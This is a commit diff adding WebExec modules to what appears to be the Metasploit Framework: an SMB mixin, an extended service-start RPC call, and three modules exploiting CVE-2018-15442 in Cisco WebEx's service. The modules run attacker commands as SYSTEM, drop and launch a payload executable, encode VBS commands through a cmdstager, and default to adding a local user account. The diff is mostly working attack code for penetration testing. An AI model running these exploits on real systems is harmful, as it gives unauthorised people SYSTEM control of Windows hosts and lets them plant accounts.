added WebEx modules, arch check
parent
c6cb6ce2f3
commit
34ae9c38f9
|
@ -31,10 +31,11 @@ require 'msf/core/exploit/dcerpc'
|
||||||
require 'msf/core/exploit/smb/client'
|
require 'msf/core/exploit/smb/client'
|
||||||
require 'msf/core/exploit/smb/client/authenticated'
|
require 'msf/core/exploit/smb/client/authenticated'
|
||||||
require 'msf/core/exploit/smb/client/local_paths'
|
require 'msf/core/exploit/smb/client/local_paths'
|
||||||
require 'msf/core/exploit/smb/client/psexec'
|
|
||||||
require 'msf/core/exploit/smb/client/pipe_auditor'
|
require 'msf/core/exploit/smb/client/pipe_auditor'
|
||||||
|
require 'msf/core/exploit/smb/client/psexec'
|
||||||
require 'msf/core/exploit/smb/client/psexec_ms17_010'
|
require 'msf/core/exploit/smb/client/psexec_ms17_010'
|
||||||
require 'msf/core/exploit/smb/client/remote_paths'
|
require 'msf/core/exploit/smb/client/remote_paths'
|
||||||
|
require 'msf/core/exploit/smb/client/webexec'
|
||||||
require 'msf/core/exploit/smb/server'
|
require 'msf/core/exploit/smb/server'
|
||||||
require 'msf/core/exploit/smb/server/share'
|
require 'msf/core/exploit/smb/server/share'
|
||||||
require 'msf/core/exploit/ftp'
|
require 'msf/core/exploit/ftp'
|
||||||
|
|
|
@ -0,0 +1,110 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'rex/proto/dcerpc/svcctl'
|
||||||
|
require 'windows_error'
|
||||||
|
require 'windows_error/win32'
|
||||||
|
require 'msf/core/exploit/exe'
|
||||||
|
require 'msf/core/exploit/wbemexec'
|
||||||
|
|
||||||
|
include WindowsError::Win32
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
####
|
||||||
|
# Makes use of a WebEx service vulnerability that works similarly to psexec.
|
||||||
|
#
|
||||||
|
# This code was stolen straight out of the psexec module which was stolen from
|
||||||
|
# the standalone Psexec tool. Thanks very much for all who contributed to that
|
||||||
|
# module!! Instead of uploading and running a binary.
|
||||||
|
####
|
||||||
|
|
||||||
|
module Exploit::Remote::SMB::Client::WebExec
|
||||||
|
|
||||||
|
include Msf::Exploit::Windows_Constants
|
||||||
|
include Msf::Exploit::Remote::DCERPC
|
||||||
|
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
||||||
|
include Msf::Exploit::Failure
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('SERVICE_NAME', [ false, 'The service name', 'WebExService']),
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_single_command(command, opts)
|
||||||
|
command = command.split(/ /)
|
||||||
|
svc_status = opts[:svc_client].startservice(opts[:svc_handle], ["install", "software-update", "1", *command])
|
||||||
|
case svc_status
|
||||||
|
when ERROR_SUCCESS
|
||||||
|
# This happens a lot, so don't print it
|
||||||
|
# print_good("Service started successfully...")
|
||||||
|
when ERROR_FILE_NOT_FOUND
|
||||||
|
print_error("Service failed to start - FILE_NOT_FOUND")
|
||||||
|
when ERROR_ACCESS_DENIED
|
||||||
|
print_error("Service failed to start - ACCESS_DENIED")
|
||||||
|
when ERROR_SERVICE_REQUEST_TIMEOUT
|
||||||
|
print_good("Service start timed out")
|
||||||
|
else
|
||||||
|
print_error("Service failed to start, ERROR_CODE: #{svc_status}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Executes a single windows command.
|
||||||
|
#
|
||||||
|
# If you want to retrieve the output of your command you'll have to
|
||||||
|
# echo it to a .txt file and then use the {#smb_read_file} method to
|
||||||
|
# retrieve it. Make sure to remove the files manually or use
|
||||||
|
# {Exploit::FileDropper#register_files_for_cleanup} to have the
|
||||||
|
# {Exploit::FileDropper#cleanup} and
|
||||||
|
# {Exploit::FileDropper#on_new_session} handlers do it for you.
|
||||||
|
#
|
||||||
|
# @param command [String] Should be a valid windows command
|
||||||
|
# @param disconnect [Boolean] Disconnect afterwards
|
||||||
|
# @return [Boolean] Whether everything went well
|
||||||
|
def wexec(disconnect=true)
|
||||||
|
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||||
|
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
|
||||||
|
vprint_status("Binding to #{handle} ...")
|
||||||
|
dcerpc_bind(handle)
|
||||||
|
vprint_status("Bound to #{handle} ...")
|
||||||
|
vprint_status("Obtaining a service manager handle...")
|
||||||
|
|
||||||
|
svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc)
|
||||||
|
# This is the only permission non-admin gets on Windows 7 (and likely others)
|
||||||
|
scm_handle, scm_status = svc_client.openscmanagerw(datastore['RHOST'], 0x00001)
|
||||||
|
|
||||||
|
if scm_status == ERROR_ACCESS_DENIED
|
||||||
|
print_error("ERROR_ACCESS_DENIED opening the Service Manager")
|
||||||
|
end
|
||||||
|
|
||||||
|
return false unless scm_handle
|
||||||
|
|
||||||
|
# These are the best permissions I could use for a non-admin account on Windows 7
|
||||||
|
svc_handle = svc_client.openservicew(scm_handle, datastore['SERVICE_NAME'], 0x00010)
|
||||||
|
|
||||||
|
if svc_handle.nil?
|
||||||
|
print_error("No service handle retrieved")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_status("Starting the service...")
|
||||||
|
begin
|
||||||
|
yield({ :svc_client => svc_client, :svc_handle => svc_handle })
|
||||||
|
ensure
|
||||||
|
vprint_status("Closing service handle...")
|
||||||
|
svc_client.closehandle(svc_handle)
|
||||||
|
end
|
||||||
|
|
||||||
|
if disconnect
|
||||||
|
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||||
|
end
|
||||||
|
|
||||||
|
true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -208,13 +208,41 @@ class Client
|
||||||
# it. Returns true on success, or false.
|
# it. Returns true on success, or false.
|
||||||
#
|
#
|
||||||
# @param svc_handle [String] the handle of the service (from {#openservicew}).
|
# @param svc_handle [String] the handle of the service (from {#openservicew}).
|
||||||
# @param magic1 [Integer] an unknown value.
|
# @param args [Array] an array of arguments to pass to the service (or nil)
|
||||||
# @param magic2 [Integer] another unknown value.
|
|
||||||
#
|
#
|
||||||
# @return [Integer] Windows error code
|
# @return [Integer] Windows error code
|
||||||
def startservice(svc_handle, magic1 = 0, magic2 = 0)
|
def startservice(svc_handle, args=[])
|
||||||
svc_status = nil
|
svc_status = nil
|
||||||
stubdata = svc_handle + NDR.long(magic1) + NDR.long(magic2)
|
|
||||||
|
if args.empty?
|
||||||
|
stubdata = svc_handle + NDR.long(0) + NDR.long(0)
|
||||||
|
else
|
||||||
|
# This is just an arbitrary "pointer" value, gonna match it to what the real version uses
|
||||||
|
id_value = 0x00000200
|
||||||
|
|
||||||
|
stubdata = svc_handle
|
||||||
|
stubdata += NDR.long(args.length) + NDR.long(id_value) + NDR.long(args.length)
|
||||||
|
|
||||||
|
# Encode an id value for each parameter
|
||||||
|
args.each do
|
||||||
|
id_value += 0x04000000
|
||||||
|
stubdata += NDR.long(id_value)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Encode the values now
|
||||||
|
args.each do |arg|
|
||||||
|
# We can't use NDR.uwstring here, because we need the "id" values to come first
|
||||||
|
stubdata += NDR.long(arg.length + 1) + NDR.long(0) + NDR.long(arg.length + 1)
|
||||||
|
|
||||||
|
# Unicode string
|
||||||
|
stubdata += Rex::Text.to_unicode(arg + "\0")
|
||||||
|
|
||||||
|
# Padding
|
||||||
|
if((arg.length % 2) == 0)
|
||||||
|
stubdata += Rex::Text.to_unicode("\0")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
begin
|
begin
|
||||||
response = dcerpc_client.call(0x13, stubdata)
|
response = dcerpc_client.call(0x13, stubdata)
|
||||||
|
|
|
@ -0,0 +1,70 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
include Msf::Exploit::Remote::SMB::Client::WebExec
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
|
||||||
|
# Aliases for common classes
|
||||||
|
SIMPLE = Rex::Proto::SMB::SimpleClient
|
||||||
|
XCEPT = Rex::Proto::SMB::Exceptions
|
||||||
|
CONST = Rex::Proto::SMB::Constants
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'WebEx Remote Command Execution Utility',
|
||||||
|
'Description' => %q{
|
||||||
|
TODO
|
||||||
|
},
|
||||||
|
|
||||||
|
'Author' => [
|
||||||
|
'Ron Bowes <ron@skullsecurity.net>',
|
||||||
|
],
|
||||||
|
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' => [
|
||||||
|
# TODO
|
||||||
|
]
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net user testuser testpass /add']),
|
||||||
|
OptString.new('RPORT', [true, 'The Target port', 445]),
|
||||||
|
OptString.new('FORCE_GUI', [true, 'Ensure a GUI is created via wmic', 'false']),
|
||||||
|
])
|
||||||
|
|
||||||
|
register_advanced_options([
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
# This is the main controle method
|
||||||
|
def run_host(ip)
|
||||||
|
@smbshare = datastore['SMBSHARE']
|
||||||
|
@ip = ip
|
||||||
|
|
||||||
|
# Try and authenticate with given credentials
|
||||||
|
if connect
|
||||||
|
begin
|
||||||
|
smb_login
|
||||||
|
rescue Rex::Proto::SMB::Exceptions::Error => autherror
|
||||||
|
print_error("Unable to authenticate with given credentials: #{autherror}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
command = datastore['COMMAND']
|
||||||
|
if(datastore['FORCE_GUI'] == "true")
|
||||||
|
command = "WMIC PROCESS CALL Create \"#{command}\""
|
||||||
|
end
|
||||||
|
|
||||||
|
wexec(true) do |opts|
|
||||||
|
execute_single_command(command, opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good("Command completed!")
|
||||||
|
disconnect
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,201 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Local
|
||||||
|
Rank = GoodRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Windows::Priv
|
||||||
|
include Msf::Post::Windows::Services
|
||||||
|
include Msf::Post::Windows::Accounts
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super( update_info( info,
|
||||||
|
'Name' => 'WebEx local service permissions exploit',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a a flaw in the 'webexservice' Windows service, which runs as SYSTEM, can be used to run arbitrary commands locally, and can be started by limited users in default installations.
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://webexec.org']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => "Oct 09 2018",
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Jeff McJunkin <jeff.mcjunkin[at]gmail.com>'
|
||||||
|
],
|
||||||
|
'Platform' => [ 'win'],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Automatic', {} ],
|
||||||
|
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
||||||
|
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
||||||
|
],
|
||||||
|
'SessionTypes' => [ "meterpreter" ],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'thread',
|
||||||
|
'WfsDelay' => 5,
|
||||||
|
'ReverseConnectRetries' => 255
|
||||||
|
},
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptString.new("DIR", [ false, "Specify a directory to plant the EXE.", "%SystemRoot%\\Temp"])
|
||||||
|
])
|
||||||
|
@service_name = 'webexservice'
|
||||||
|
end
|
||||||
|
|
||||||
|
def validate_arch
|
||||||
|
return target unless target.name == 'Automatic'
|
||||||
|
|
||||||
|
case sysinfo['Architecture']
|
||||||
|
when 'x86'
|
||||||
|
fail_with(Failure::BadConfig, 'Invalid payload architecture') if payload_instance.arch.first == 'x64'
|
||||||
|
vprint_status('Detected x86 system')
|
||||||
|
return targets[1]
|
||||||
|
when 'x64'
|
||||||
|
vprint_status('Detected x64 system')
|
||||||
|
return targets[2]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_service_exists?(service)
|
||||||
|
srv_info = service_info(service)
|
||||||
|
|
||||||
|
if srv_info.nil?
|
||||||
|
vprint_warning("Unable to enumerate services.")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
if srv_info && srv_info[:display].empty?
|
||||||
|
vprint_warning("Service #{service} does not exist.")
|
||||||
|
return false
|
||||||
|
else
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
if !check_service_exists?(@service_name)
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
srv_info = service_info(@service_name)
|
||||||
|
|
||||||
|
vprint_status(srv_info.to_s)
|
||||||
|
|
||||||
|
case START_TYPE[srv_info[:starttype]]
|
||||||
|
when 'Disabled'
|
||||||
|
vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
when 'Manual'
|
||||||
|
vprint_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
when 'Auto'
|
||||||
|
vprint_good("Service is set to Automatically start...")
|
||||||
|
end
|
||||||
|
|
||||||
|
if check_search_path
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_write_access(path)
|
||||||
|
perm = check_dir_perms(path, @token)
|
||||||
|
if perm and perm.include?('W')
|
||||||
|
print_good("Write permissions in #{path} - #{perm}")
|
||||||
|
return true
|
||||||
|
elsif perm
|
||||||
|
vprint_status ("Permissions for #{path} - #{perm}")
|
||||||
|
else
|
||||||
|
vprint_status ("No permissions for #{path}")
|
||||||
|
end
|
||||||
|
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
|
||||||
|
begin
|
||||||
|
@token = get_imperstoken
|
||||||
|
rescue Rex::Post::Meterpreter::RequestError
|
||||||
|
vprint_error("Error while using get_imperstoken: #{e}")
|
||||||
|
end
|
||||||
|
|
||||||
|
fail_with(Failure::Unknown, "Unable to retrieve token.") unless @token
|
||||||
|
|
||||||
|
if is_system?
|
||||||
|
fail_with(Failure::Unknown, "Current user is already SYSTEM, aborting.")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Checking service exists...")
|
||||||
|
if !check_service_exists?(@service_name)
|
||||||
|
fail_with(Failure::NoTarget, "The service doesn't exist.")
|
||||||
|
end
|
||||||
|
|
||||||
|
if is_uac_enabled?
|
||||||
|
print_warning("UAC is enabled, may get false negatives on writable folders.")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Use manually selected Dir
|
||||||
|
file_path = datastore['DIR']
|
||||||
|
|
||||||
|
@exe_file_name = Rex::Text.rand_text_alphanumeric(8)
|
||||||
|
@exe_file_path = "#{file_path}\\#{@exe_file_name}.exe"
|
||||||
|
|
||||||
|
service_information = service_info(@service_name)
|
||||||
|
|
||||||
|
# Check architecture
|
||||||
|
valid_arch = validate_arch
|
||||||
|
exe = generate_payload_exe(:arch => valid_arch.arch)
|
||||||
|
|
||||||
|
#
|
||||||
|
# Drop the malicious executable into the path
|
||||||
|
#
|
||||||
|
print_status("Writing #{exe.length.to_s} bytes to #{@exe_file_path}...")
|
||||||
|
begin
|
||||||
|
write_file(@exe_file_path, exe)
|
||||||
|
register_file_for_cleanup(@exe_file_path)
|
||||||
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
|
# Can't write the file, can't go on
|
||||||
|
fail_with(Failure::Unknown, e.message)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Run the service
|
||||||
|
#
|
||||||
|
print_status("Launching service...")
|
||||||
|
res = cmd_exec("cmd.exe",
|
||||||
|
"/c sc start webexservice install software-update 1 #{@exe_file_path}")
|
||||||
|
|
||||||
|
if service_restart(@service_name)
|
||||||
|
print_status("Service started...")
|
||||||
|
else
|
||||||
|
service_information = service_info(@service_name)
|
||||||
|
if service_information[:starttype] == START_TYPE_AUTO
|
||||||
|
if job_id
|
||||||
|
print_status("Unable to start service, handler running waiting for a reboot...")
|
||||||
|
while(true)
|
||||||
|
break if session_created?
|
||||||
|
select(nil,nil,nil,1)
|
||||||
|
end
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
|
@ -0,0 +1,186 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
# Windows XP systems that are not part of a domain default to treating all
|
||||||
|
# network logons as if they were Guest. This prevents SMB relay attacks from
|
||||||
|
# gaining administrative access to these systems. This setting can be found
|
||||||
|
# under:
|
||||||
|
#
|
||||||
|
# Local Security Settings >
|
||||||
|
# Local Policies >
|
||||||
|
# Security Options >
|
||||||
|
# Network Access: Sharing and security model for local accounts
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ManualRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::CmdStager
|
||||||
|
include Msf::Exploit::Remote::SMB::Client::WebExec
|
||||||
|
include Msf::Exploit::Powershell
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::WbemExec
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'WebExec Authenticated User Code Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module uses a valid username and password of any level (or
|
||||||
|
password hash) to execute an arbitrary payload. This module is similar
|
||||||
|
to the "psexec" module, except allows any non-guest account by default.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Ron <ron@skullsecurity.net>',
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Privileged' => true,
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'WfsDelay' => 10,
|
||||||
|
'EXITFUNC' => 'thread'
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2018-15442' ],
|
||||||
|
],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Space' => 3072,
|
||||||
|
'DisableNops' => true
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => [ARCH_X86, ARCH_X64],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Automatic', { } ],
|
||||||
|
[ 'Native upload', { } ],
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Oct 24 2018'
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
# This has to be a full path, %ENV% variables are not expanded
|
||||||
|
OptString.new('TMPDIR', [ true, "The directory to stage our payload in", "c:\\Windows\\Temp\\" ])
|
||||||
|
])
|
||||||
|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
|
||||||
|
OptInt.new('MAX_LINE_LENGTH', [true, "The length of lines when splitting up the payload", 1000]),
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
# This is the callback for cmdstager, which breaks the full command into
|
||||||
|
# chunks and sends it our way. We have to do a bit of finangling to make it
|
||||||
|
# work correctly
|
||||||
|
def execute_command(command, opts)
|
||||||
|
# Replace the empty string, "", with a workaround - the first 0 characters of "A"
|
||||||
|
command = command.gsub('""', 'mid(Chr(65), 1, 0)')
|
||||||
|
|
||||||
|
# Replace quoted strings with Chr(XX) versions, in a naive way
|
||||||
|
command = command.gsub(/"[^"]*"/) do |capture|
|
||||||
|
capture.gsub(/"/, "").chars.map do |c|
|
||||||
|
"Chr(#{c.ord})"
|
||||||
|
end.join('+')
|
||||||
|
end
|
||||||
|
|
||||||
|
# Prepend "cmd /c" so we can use a redirect
|
||||||
|
command = "cmd /c " + command
|
||||||
|
|
||||||
|
execute_single_command(command, opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
print_status("Connecting to the server...")
|
||||||
|
connect(versions: [2,1])
|
||||||
|
|
||||||
|
print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
|
||||||
|
smb_login
|
||||||
|
|
||||||
|
if not simple.client.auth_user and not datastore['ALLOW_GUEST']
|
||||||
|
print_line(" ")
|
||||||
|
print_error(
|
||||||
|
"FAILED! The remote host has only provided us with Guest privileges. " +
|
||||||
|
"Please make sure that the correct username and password have been provided. " +
|
||||||
|
"Windows XP systems that are not part of a domain will only provide Guest privileges " +
|
||||||
|
"to network logins by default."
|
||||||
|
)
|
||||||
|
print_line(" ")
|
||||||
|
disconnect
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
begin
|
||||||
|
if datastore['SMBUser'].to_s.strip.length > 0
|
||||||
|
report_auth
|
||||||
|
end
|
||||||
|
|
||||||
|
# Avoid implementing NTLMSSP on Windows XP
|
||||||
|
# http://seclists.org/metasploit/2009/q1/6
|
||||||
|
if smb_peer_os == "Windows 5.1"
|
||||||
|
connect(versions: [1])
|
||||||
|
smb_login
|
||||||
|
end
|
||||||
|
|
||||||
|
wexec(true) do |opts|
|
||||||
|
opts[:flavor] = :vbs
|
||||||
|
opts[:linemax] = datastore['MAX_LINE_LENGTH']
|
||||||
|
opts[:temp] = datastore['TMPDIR']
|
||||||
|
opts[:delay] = 0.05
|
||||||
|
execute_cmdstager(opts)
|
||||||
|
end
|
||||||
|
handler
|
||||||
|
disconnect
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def report_auth
|
||||||
|
service_data = {
|
||||||
|
address: ::Rex::Socket.getaddress(datastore['RHOST'],true),
|
||||||
|
port: datastore['RPORT'],
|
||||||
|
service_name: 'smb',
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: self.fullname,
|
||||||
|
private_data: datastore['SMBPass'],
|
||||||
|
username: datastore['SMBUser'].downcase
|
||||||
|
}
|
||||||
|
|
||||||
|
if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP'
|
||||||
|
credential_data.merge!({
|
||||||
|
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
|
||||||
|
realm_value: datastore['SMBDomain']
|
||||||
|
})
|
||||||
|
end
|
||||||
|
|
||||||
|
if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
|
||||||
|
credential_data.merge!({:private_type => :ntlm_hash})
|
||||||
|
else
|
||||||
|
credential_data.merge!({:private_type => :password})
|
||||||
|
end
|
||||||
|
|
||||||
|
credential_data.merge!(service_data)
|
||||||
|
|
||||||
|
credential_core = create_credential(credential_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
access_level: 'Admin',
|
||||||
|
core: credential_core,
|
||||||
|
last_attempted_at: DateTime.now,
|
||||||
|
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
||||||
|
}
|
||||||
|
|
||||||
|
login_data.merge!(service_data)
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue